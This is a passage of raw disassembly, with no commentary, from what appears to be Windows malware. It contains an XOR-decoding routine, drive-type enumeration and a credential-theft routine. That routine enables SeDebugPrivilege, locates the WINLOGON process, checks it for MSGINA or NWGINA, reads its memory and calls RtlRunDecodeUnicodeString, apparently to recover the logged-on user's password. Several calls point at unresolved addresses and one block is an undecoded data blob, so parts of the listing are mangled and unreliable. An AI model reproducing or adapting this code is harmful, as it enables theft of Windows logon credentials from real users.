[ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376D4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D158 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2661D38h cmp eax, edi jnz short loc_416877 call dword_4CAEFC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_4376A0 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437674 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFD8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BD8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB004 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437864 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437860 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE94 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_4378B4 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437878 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAF0C lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAF0C cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset off_4378F0 push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 79146850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78F468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22C923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 5868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 35917FE8h, 75C08502h dd 0FC75FF8Fh, 339173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43793Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h, 90EEE890h dd 458B0233h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B30 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26B0000h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3E1C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3E10, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4020, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3E18, eax call esi mov dword_4D3E14, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2E10 push edi push ebx push offset off_437A6C call esi push edi mov edi, offset dword_4D3610 push edi push offset off_437A54 call esi cmp [ebp+var_4], 1 push offset dword_4D4028 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D4028, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379F8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_4379C0 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437994 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27A03B7h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437960 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3E1C push ebp push 0 call esi push eax call near ptr 27B0000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3E1C test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3E10 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4020 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3E18 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3E18 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 268029Ah cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 27D0000h nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27C099Ch nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2E10 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D3610 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2760000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 27507FFh test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4034, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D402C, eax mov dword_4D4030, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27B0000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call near ptr 26619D4h nop pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 268029Ah nop test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27D0000h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 27C099Ch nop test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27C0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27C0C71h test eax, eax jz short loc_4174E5 push offset dword_4D2E10 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D3610 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 27B0000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 26619D4h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D402C, ebx mov dword_4D4030, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26619D4h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4028 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27C0000h mov ecx, dword_4D4028 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4030 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4034 push eax call dword_4D3E14 push [ebp+var_4] mov edi, offset dword_4D3E20 push offset dword_4D2E10 push offset dword_4D3610 push 